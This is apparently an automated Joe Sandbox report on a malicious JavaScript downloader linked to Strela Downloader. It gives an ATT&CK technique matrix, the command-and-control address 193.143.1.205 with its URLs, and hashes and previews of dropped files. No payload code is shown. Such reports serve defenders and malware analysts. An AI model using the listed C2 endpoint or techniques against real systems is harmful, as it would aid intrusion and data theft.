Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1227622214229272730.js	0%	ReversingLabs
1227622214229272730.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/(	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/smZ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.25	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/(	net.exe, 00000007.00000002.2191934210.0000022E958D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2191804615.00000221066E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3422118025.0000022106800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/smZ	net.exe, 00000007.00000002.2191934210.0000022E95898000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2191934210.0000022E958D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191934210.0000022E95898000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587895
Start date and time:	2025-01-10 19:05:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1227622214229272730.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.19.11.117, 2.19.11.122, 2.22.50.131, 2.22.50.144, 13.107.246.45, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:06:18	API Interceptor	21x Sleep call for process: powershell.exe modified
13:06:21	API Interceptor	1x Sleep call for process: net.exe modified
13:06:21	API Interceptor	2x Sleep call for process: svchost.exe modified
13:06:30	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
bg.microsoft.map.fastly.net	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263380215659299
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0p:9JZj5MiKNnNhoxuI
MD5:	004034EF660A2D713918B877FF739B2A
SHA1:	1A564971643C42FAD00A1C49C6F94D8E2FA7FA63
SHA-256:	087AB3137119901281EFF6FBEE23A6D2588DC42C92C4B61054E574849418F9F8
SHA-512:	A32961806CFBC9554ADD1A5E8E6E34A90D5A33580D30FAD7990CAF244EB11173DA54B0D0B69A5CD56573F8538601B9F218E6477C397AA99A4C181E63268DFDD9
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xa2e1bd5a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555646769563091
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	457051E0B1F6CAC3B3E8CD1F7224108E
SHA1:	90F6E8953E36BDCFCED132CDCF150E44EBC3448D
SHA-256:	D6B96AFF15B6CC196F43FD54FA8F29C070C0D7AD9C07E0CB7B2FFF0F6650C0BE
SHA-512:	BD3BE006CDD94BDF3B84A8C07966D67F6245731B944DDC87AA901F9137FEB097B7EA238886834557E772EA54B66E0ED1CA6952B54610456AA5EE1E013F754A52
Malicious:	false
Preview:	..Z... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................w......}..................O.,......}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07741490845827298
Encrypted:	false
SSDEEP:	3:M9/yYeE1ENaAPaU1lKJwLvkYUYlluxmO+l/SNxOf:Mcz0ENDPaUyyLzgmOH
MD5:	1843912840DF6F96C0FF34F78400AD05
SHA1:	26C5BC42035FBC6035FB73C053409A9DDC045DBF
SHA-256:	AE1B35E5448326C7F2F95EAE53588789C70E8027C8F7380DBBD85C3C6F29C0E2
SHA-512:	25666032BF31A985680CEB7F20A7965834A0C53BC308774049A95AB89B39BB03903FFAA39A7E65F7729FB41ECEBD22BF0EFFE9E89E83054E9601480D42EA8EB1
Malicious:	false
Preview:	4.S......................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................O.,......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.194088326439614
Encrypted:	false
SSDEEP:	6:iO4WXDFV+q2PN72nKuAl9OmbnIFUtSWXNFBZmwsWXNFVVkwON72nKuAl9OmbjLJ:7nXDf+vVaHAahFUtdXXB/jXXVV5OaHAR
MD5:	4613534CE35EE2C6596BA1E0245B3214
SHA1:	C03E9F44E19A883A7813E942D36489D18F86EB73
SHA-256:	E4FFFF5D49156A2C39A9B06493DAD0763676044DC35A950B06A425055B5D3C4B
SHA-512:	55E4B7557495574428358F9216798D18FB7F25A68B9544E286B97F48C7D39903A7D7B2B40D3C210366C46FC93F3D0C71E8F10CB544D3A24D0EDE68546E8FC3F8
Malicious:	false
Preview:	2025/01/10-13:06:21.676 159c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:06:21.678 159c Recovering log #3.2025/01/10-13:06:21.678 159c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.194088326439614
Encrypted:	false
SSDEEP:	6:iO4WXDFV+q2PN72nKuAl9OmbnIFUtSWXNFBZmwsWXNFVVkwON72nKuAl9OmbjLJ:7nXDf+vVaHAahFUtdXXB/jXXVV5OaHAR
MD5:	4613534CE35EE2C6596BA1E0245B3214
SHA1:	C03E9F44E19A883A7813E942D36489D18F86EB73
SHA-256:	E4FFFF5D49156A2C39A9B06493DAD0763676044DC35A950B06A425055B5D3C4B
SHA-512:	55E4B7557495574428358F9216798D18FB7F25A68B9544E286B97F48C7D39903A7D7B2B40D3C210366C46FC93F3D0C71E8F10CB544D3A24D0EDE68546E8FC3F8
Malicious:	false
Preview:	2025/01/10-13:06:21.676 159c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:06:21.678 159c Recovering log #3.2025/01/10-13:06:21.678 159c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.106213814782804
Encrypted:	false
SSDEEP:	6:iO4WXOFUFVq2PN72nKuAl9Ombzo2jMGIFUtSWXC6gZmwsWXCvIkwON72nKuAl9OU:7nXqUvvVaHAa8uFUtdXS/jX75OaHAa8z
MD5:	FEE823A42CA767D090A348018E894E5E
SHA1:	1AA7726931F16D5C75AF67E0C989DAC3B95ACD43
SHA-256:	1E096A4F64CAD722096DBBE2F18D0D212AF1D6D2A697AA3FBCA6C9F2D13317FF
SHA-512:	D4A5C765ED3DC2B4295DB9E1DF6763B98BEEA37E35BE9E79EF94E2E9FA4CCDEF231786430642A662F0B8E4A453E4FDA47BC88CA2EFC9D11CCA5C34064E846FF5
Malicious:	false
Preview:	2025/01/10-13:06:21.707 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:06:21.710 18a0 Recovering log #3.2025/01/10-13:06:21.711 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.106213814782804
Encrypted:	false
SSDEEP:	6:iO4WXOFUFVq2PN72nKuAl9Ombzo2jMGIFUtSWXC6gZmwsWXCvIkwON72nKuAl9OU:7nXqUvvVaHAa8uFUtdXS/jX75OaHAa8z
MD5:	FEE823A42CA767D090A348018E894E5E
SHA1:	1AA7726931F16D5C75AF67E0C989DAC3B95ACD43
SHA-256:	1E096A4F64CAD722096DBBE2F18D0D212AF1D6D2A697AA3FBCA6C9F2D13317FF
SHA-512:	D4A5C765ED3DC2B4295DB9E1DF6763B98BEEA37E35BE9E79EF94E2E9FA4CCDEF231786430642A662F0B8E4A453E4FDA47BC88CA2EFC9D11CCA5C34064E846FF5
Malicious:	false
Preview:	2025/01/10-13:06:21.707 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:06:21.710 18a0 Recovering log #3.2025/01/10-13:06:21.711 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e9e8178-18a9-4b5a-9e10-286f1ec82dd9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9617407927579125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxxsBdOg2Hpcaq3QYiubcP7E4T3y:Y2sRds8idMHQ3QYhbA7nby
MD5:	98576D53BEE718CEF86C740BBD9C7C12
SHA1:	66A5DD4D06C3ACDA2FCD3F98C0FB62570DFE61C0
SHA-256:	1F4B5AD5E95324F30D50D7B31F5C936165BEF46D77E042F5CC3619224074F611
SHA-512:	F4E808C9FE969B7F3A34CB59C94E4F9D67C626EB2B23DBDB7CE63434121DB12D7406945A5981118E444AF2B7AF93C7E88EF0994AA8AFFA64992CC9B7AE04EF56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092393419580","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":334252},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9617407927579125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxxsBdOg2Hpcaq3QYiubcP7E4T3y:Y2sRds8idMHQ3QYhbA7nby
MD5:	98576D53BEE718CEF86C740BBD9C7C12
SHA1:	66A5DD4D06C3ACDA2FCD3F98C0FB62570DFE61C0
SHA-256:	1F4B5AD5E95324F30D50D7B31F5C936165BEF46D77E042F5CC3619224074F611
SHA-512:	F4E808C9FE969B7F3A34CB59C94E4F9D67C626EB2B23DBDB7CE63434121DB12D7406945A5981118E444AF2B7AF93C7E88EF0994AA8AFFA64992CC9B7AE04EF56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092393419580","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":334252},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251650809300458
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7+JKWR:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	F119FC7F5AC5CBF036A9CBF25C29EB0F
SHA1:	41EA84362FC503455EE2C10D80A59FA4E1DCDCEB
SHA-256:	D399D168BA267F0BEF29B7F8522215B79E215D0FA305EB11AE8F8425AFFDE587
SHA-512:	5954ABCCBB470DE64F9A7E9DBC7BA9848DC0DB4C453ED4DEAC5B96C8F75EE1ED4CD736DEE3BA78917CEF39979C3420E01CCCF8853628D7EA7F1AC11493AE377C
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1364452919111105
Encrypted:	false
SSDEEP:	6:iO4WXTVq2PN72nKuAl9OmbzNMxIFUtSWXllSgZmwsWXoSIkwON72nKuAl9OmbzNq:7nXRvVaHAa8jFUtdXlR/jXk5OaHAa84J
MD5:	5357B5483F4CD4B3637783AF6B530314
SHA1:	EBC8A760B1C4854A3EB3E75986A12BAB09A388A4
SHA-256:	C4329B2067AAB09330B5DCBFBE4A47701203CC70003B4798B63AB56E1B016FB2
SHA-512:	2B05660B272497A4E1474FB8582CD2F0039001895CA7C14FA31CB69B41C04750C18C886AE575ADB8782A9A5AB11899DA2890B5917DD6892DAFE13E0C477D72E8
Malicious:	false
Preview:	2025/01/10-13:06:21.877 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:06:21.883 18a0 Recovering log #3.2025/01/10-13:06:21.891 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1364452919111105
Encrypted:	false
SSDEEP:	6:iO4WXTVq2PN72nKuAl9OmbzNMxIFUtSWXllSgZmwsWXoSIkwON72nKuAl9OmbzNq:7nXRvVaHAa8jFUtdXlR/jXk5OaHAa84J
MD5:	5357B5483F4CD4B3637783AF6B530314
SHA1:	EBC8A760B1C4854A3EB3E75986A12BAB09A388A4
SHA-256:	C4329B2067AAB09330B5DCBFBE4A47701203CC70003B4798B63AB56E1B016FB2
SHA-512:	2B05660B272497A4E1474FB8582CD2F0039001895CA7C14FA31CB69B41C04750C18C886AE575ADB8782A9A5AB11899DA2890B5917DD6892DAFE13E0C477D72E8
Malicious:	false
Preview:	2025/01/10-13:06:21.877 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:06:21.883 18a0 Recovering log #3.2025/01/10-13:06:21.891 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444682622472708
Encrypted:	false
SSDEEP:	384:ye6ci5thiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mys3OazzU89UTTgUL
MD5:	A3F260F0374648A4CE43C762BD23FCD9
SHA1:	1F95EED364A04B8EF2F94B7ACBACD9C27EA06B90
SHA-256:	F37F4E6881371553AE202A72103CD4450C6754842182CA54DD8BB6C38F05964A
SHA-512:	FD988495B7BE7AA8B7ABBEDAF4610B1421F120148FA0934630864B18A1B72DA863554A8EF0BF0C485BE6A6948633A9DF81012F39307B83D2AF6A12AEDBB7B3F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7668754501646937
Encrypted:	false
SSDEEP:	48:7MQJioyVwioy6oy1C7oy16oy1OKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1On:7zJuwWJXjBifb9IVXEBodRBko
MD5:	76E1E83757A77B192966BBEDB96F0BF5
SHA1:	7D8DF548C723E2930A626E32DCEA76175F1CF249
SHA-256:	9B156991266D3F11EBB99261B55A50E62FCA8FA7EA935528B957A751864A2E4C
SHA-512:	28B65FCB98FEAF60A0A7177875B16E4B61A9BA0B344DF7242DA67EC5FEE899AE57AE50901D1B6A1677BD424AC378B6D4FB7E1D25F52A7E440E045AF0E3AEEC5B
Malicious:	false
Preview:	.... .c......%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
